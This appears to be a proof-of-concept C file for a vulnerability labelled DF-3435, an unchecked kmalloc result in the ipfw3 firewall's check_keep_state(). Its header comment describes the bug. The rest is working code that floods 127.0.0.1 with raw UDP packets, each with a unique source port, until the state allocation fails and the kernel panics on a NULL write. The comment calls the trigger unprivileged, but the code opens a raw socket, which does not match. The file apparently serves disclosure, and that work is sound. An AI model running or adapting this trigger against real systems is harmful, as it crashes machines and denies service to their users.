DF-3435 / state_null.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 | /* * DF-3435 - ipfw3 check_keep_state() dereferences a kmalloc(..., M_NULLOK) * result without a NULL check -> deterministic NULL-page WRITE * panic when the M_IPFW3_STATE malloc-type limit is reached * (ip_fw3_state.c:319-321, kern_slaballoc.c:694-705). * * s = kmalloc(LEN_FW3_STATE, M_IPFW3_STATE, M_INTWAIT | M_NULLOK | M_ZERO); * s->src_addr = k->src_addr; <- NULL write when s == NULL * * The default malloc-type limit is kmem_lim_size()/10 (~10% of physmem, * kern_slaballoc.c:365-372). The per-tree count gate * (sysctl_var_state_max_udp_in, default 4096) must be raised by the admin * (sysctl, root) for the limit to be reachable by traffic; any ipfw3 * deployment that raises the state limits (or a machine where the type * limit is otherwise exhausted) turns unprivileged localhost UDP traffic * into a kernel NULL write. * * Trigger (unprivileged): raw-socket flood of unique-src-port UDP packets * to 127.0.0.1 against the keep-state limit rule; each unique 5-tuple * allocates one 64B state until the type limit -> NULL -> write to 0x0. * * Expected: "Fatal trap 12: page fault ... fault VA 0x0 ... check_keep_state" */ #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> static unsigned short cksum(unsigned short *p, int nwords) { unsigned long sum = 0; while (nwords-- > 0) sum += *p++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (~sum); } int main(int argc, char **argv) { unsigned char pkt[20 + 8 + 8]; struct sockaddr_in to; unsigned long sent = 0, goal = argc > 1 ? strtoul(argv[1], NULL, 10) : 20000000UL; int s, one = 1; s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("raw socket"); return 1; } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) perror("HDRINCL"); memset(&to, 0, sizeof(to)); to.sin_family = AF_INET; to.sin_port = 0; to.sin_addr.s_addr = htonl(0x7f000001); while (sent < goal) { struct ip *ip = (struct ip *)pkt; struct udphdr *uh = (struct udphdr *)(pkt + 20); unsigned short sport = 1024 + (unsigned short)(sent % 64512); /* rotate the 16-bit space with a stride to avoid early reuse */ sport = 1024 + (unsigned short)(((sent * 2654435761UL) >> 16) % 64512); memset(pkt, 0, sizeof(pkt)); ip->ip_hl = 5; ip->ip_v = 4; ip->ip_tos = 0; ip->ip_len = htons(sizeof(pkt)); ip->ip_id = 0; ip->ip_off = 0; ip->ip_ttl = 64; ip->ip_p = IPPROTO_UDP; ip->ip_sum = 0; ip->ip_src.s_addr = htonl(0x7f000001); ip->ip_dst.s_addr = htonl(0x7f000001); uh->uh_sport = htons(sport); /* unique 5-tuple per packet */ uh->uh_dport = htons(9); uh->uh_ulen = htons(8 + 8); uh->uh_sum = 0; /* udp cksum optional on v4 */ ip->ip_sum = cksum((unsigned short *)pkt, 10); if (sendto(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&to, sizeof(to)) < 0) { perror("sendto"); usleep(1000); continue; } sent++; if ((sent % 1000000) == 0) { printf("sent %luM\n", sent / 1000000UL); fflush(stdout); } } printf("done: %lu packets, no panic\n", sent); return 0; } |